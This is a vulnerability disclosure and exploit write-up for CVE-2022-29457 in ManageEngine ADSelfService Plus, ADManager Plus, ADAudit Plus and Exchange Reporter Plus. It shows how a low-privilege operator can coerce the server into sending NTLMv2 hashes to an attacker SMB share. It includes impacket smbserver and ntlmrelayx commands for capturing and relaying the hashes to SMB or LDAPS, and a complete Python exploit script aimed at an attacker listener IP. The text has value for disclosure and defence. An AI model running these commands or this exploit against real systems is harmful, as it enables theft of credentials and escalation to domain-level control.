Multiple ManageEngine Applications Critical Information Disclosure Vulnerability

The NTLMv2 hash of the domain user or the computer accounts, can be obtained coercing the target server authenticates an arbitrary SMB server. (CVE-2022-29457)

# Introduction

I have detected this vulnerability on the ADSelfService Plus Build 6118 first.

ManageEngine ADSelfService Plus - easy-to-use, web-based product that provides centralizedadministration and management of Windows Active Directory.

ADSelfService Plus application can be installed on any windows machines on the domain. It can be a server, DC or a workstation. The application uses the service account credentials provided within the application to communicate with the DCs for reset passwords and unlock accounts.

In most cases, ADSelfService Plus application is installed with high domain user privileges. For exploitation it doesn't matter where application is installed. The important point is that the application runs under which privileges (domain user or service).

When scheduling report, the ADSelfService application exports report files to a local or network path. If I specify a SMB server on the network , the server that hosts ADSelfService authenticates the SMB server to export file. The NTLMv2 hash of the domain user or the computer accounts, can be obtained while the authentication is conducting. Relaying the captured hash can cause a privilege escalation in the Active Directory environment.

I noticed that the "schedule report" functionality is inclued in the ADManager Plus, ADAudit Plus, Exchange Reporter Plus. These applications are impacted the same vulnerability.

# Detecting the Vulnerability

There is a scheduling report functionality and the Operator user can schedule a report default. While the Operator user sends reports to an email, it is stored C:\ManageEngine\ADSelfService Plus\audit-data as default.

For the storage path value , there is a character restriction ( / : * ? < > | "). However, it is checked by the front-end only so it can be bypassed using the proxy. Also, the \ character is not restricted.

If you set STORAGE_PATH parameter as /../../bypass or C:\bypass through Burp, the reports is extracted to C:\bypass directory.

The Operator user that doesn't have admin privileges can manipulate this scheduling report functionality. If the storage path is a remote file share, the server which hosts the ADSelfService application authenticates to the specified server for storing reports. When authenticating, the NTLMv2 hash is captured.

The user can set storage path as \\IP\share and the server authenticates to the remote address with privileges of the ADSelfService process. There are two options:

  • The ADSelfService runs as a service

  • The ADSelfService runs with domain user privileges

The NTLMv2 hash of the computer account can be captured for the first option and the NTLMv2 hash of the domain user can be captured for the second. After the capturing the hash value, it can be relayed to other servers which are SMB singing or LDAP signing (for DC) is disabled.

If you capture the NTLMv2 hash of computer account, relay it to a server that the computer account is added as a local admin user.

If the ADSelfService runs on the DC as a service, you can capture the NTLMv2 hash of the Domain Controller account, relay it to the another Domain Controller through LDAP and gain high privileges.

# Exploitation

When the ADSelfService runs with domain user privileges (the user has high privileges in most cases):

The ADSelfService runs with Domain Admin user privileges for my scenario. However, it is not a requirement for exploitation.

Set up a SMB Server

python tools/impacket/examples/smbserver.py share .

Login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share

Capture and try cracking the NTLMv2 hash.

As a more exploitable scenario, the captured hash can be relayed to another computer which SMB signing is disabled using ntlmrelayx .

The SMB Signing is disabled default, if the host is not a Domain Controller.

If the compromised user has sufficient privileges, dumping the NT hash of local users and command execution on the remote machine are possible.

python3 ntlmrelayx.py -sbm2support -t smb://smb-server

As another option, the captured hash can be relayed to another Domain Controller.

python3 ntlmrelayx.py -t ldaps://DC2 

When the ADSelfService runs as a service

If the ADSelfService runs as a service on the Domain Controller. Exploiting this vulnerability, capture the hash of the Domain Controller account and relay it to another one or the ADCS.

From SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

//for relaying 
python3 ntlmrelayx.py -t ldaps://DC2

After setting ntlmrelayx, login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share

Since the report is generated every five minutes, the DC authenticates to SMB server after five minutes.

The exploit:

# Exploit Title: ManageEngine ADSelfService Plus Build < 6121 - The NTLMv2 Hash Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457

# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys

"""
1- 
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support

b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET

c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET

2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
    parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
    parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
    args = parser.parse_args()
    return args


def scheduler(domain, auth, target, listener, user, password):
    try:
        with requests.Session() as s:
            gUrl = target
            getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
            csrf = getCsrf.cookies['_zcsr_tmp']
            print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
    
            if auth.lower() == 'adselfservice':
                auth = "ADSelfService Plus Authentication"
            data = {
                "loginName": user,
                "domainName": auth,
                "j_username": user,
                "j_password": password,
                "AUTHRULE_NAME": "ADAuthenticator",
                "adscsrf": [csrf, csrf]
            }

            #Login
            url = target + "j_security_check"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
            req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
            #Auth Check
            url2 = target + "webclient/index.html"
            req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
            if req2.status_code == 200:
                print("[+] Authentication is successful.")
            elif req2.status_code == 302:
                print("[-] Login failed.")
                sys.exit(1)
            else:
                print("[-] Something went wrong")
                sys.exit(1)
                        
            dn = domain.split(".")
            r1 = random.randint(1, 1000)
        
            surl = target + 'ServletAPI/Reports/saveReportScheduler'
            data = {
                'SCHEDULE_ID':'0',
                'ADMIN_STATUS':'3',
                'SCHEDULE_NAME': 'enrollment' + str(r1),
                'DOMAINS': '["'+ domain +'"]',
                'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
                'SELECTED_REPORTS': '104,105',
                'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
                'SCHEDULE_TYPE': 'hourly',
                'TIME_OF_DAY': '0',
                'MINS_OF_HOUR': '5',
                'EMAIL_ID': user +'@'+ domain,
                'NOTIFY_ADMIN': 'true',
                'NOTIFY_MANAGER': 'false',
                'STORAGE_PATH': '\\\\' + listener + '\\share',
                'FILE_FORMAT': 'HTML',
                'ATTACHMENT_TYPE': 'FILE',
                'ADMIN_MAIL_PRIORITY': 'Medium',
                'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
                'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
                'MANAGER_FILE_FORMAT': 'HTML',
                'MANAGER_ATTACHMENT_TYPE': 'FILE',
                'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
                'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
                'adscsrf': csrf
                }
            sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
            if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
                print('[-] The target is patched!')
                sys.exit(1)
            if sch.status_code == 200:
                print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
            else:
                print("[-] Something went wrong. Please, try it manually!")
                sys.exit(1)
    except:
        print('[-] Connection error!')
    
def main():
    arg = get_args()
    domain = arg.domain
    auth = arg.auth
    user = arg.user
    password = arg.password
    target = arg.target
    listener = arg.listener
    scheduler(domain, auth, target, listener, user, password)


if __name__ == "__main__":
    main()

# Other ManageEngine Applications

ADManagerPlus Build 7131, ADAuditPlus Build 7060, Exchange Reporter Plus Build 5701 are impacted same NTLMv2 hash information disclosure vulnerability.

There are too many user role types in the applications. The scheduling report permission is enough to exploit the vulnerability. If a technician user has scheduling report privilege, he can obtain the NTLMv2 hash of user that runs applications. If applications are installed as a service, the NTLMv2 hash of computer account can be obtained.

The technician user must have the following permissions on the ADManagerPlus:

The technician user must have the following permissions on the ADAuditPlus:

The technician user must have the following permissions on the Exchange Reporter Plus:

For capturing the NTLMv2 hash:

// set up SMB server first
python tools/impacket/examples/smbserver.py share .

Login the application technician user. Then create schedule report and set the store path as \\smb-server\share

When the reports are generated, the hash is obtained.

# The Patch

The vulnerability has been fixed in ADSelfService Build 6121. You can see the release notes.

A vulnerability causing the NTLM Hash to be disclosed to operators when configuring the storage path of a remote machine in the Reports tab has now been fixed.

I take a look at source code after the patch. If you are not a admin user and the storage path starts with \\ . You will be blocked with adssp.reports.schedule_reports.storage_path.unc_storage_path code.

If you are an admin user, you can still obtain the NTLMv2 hash.

# Author: Metin Yunus Kandemir

Last updated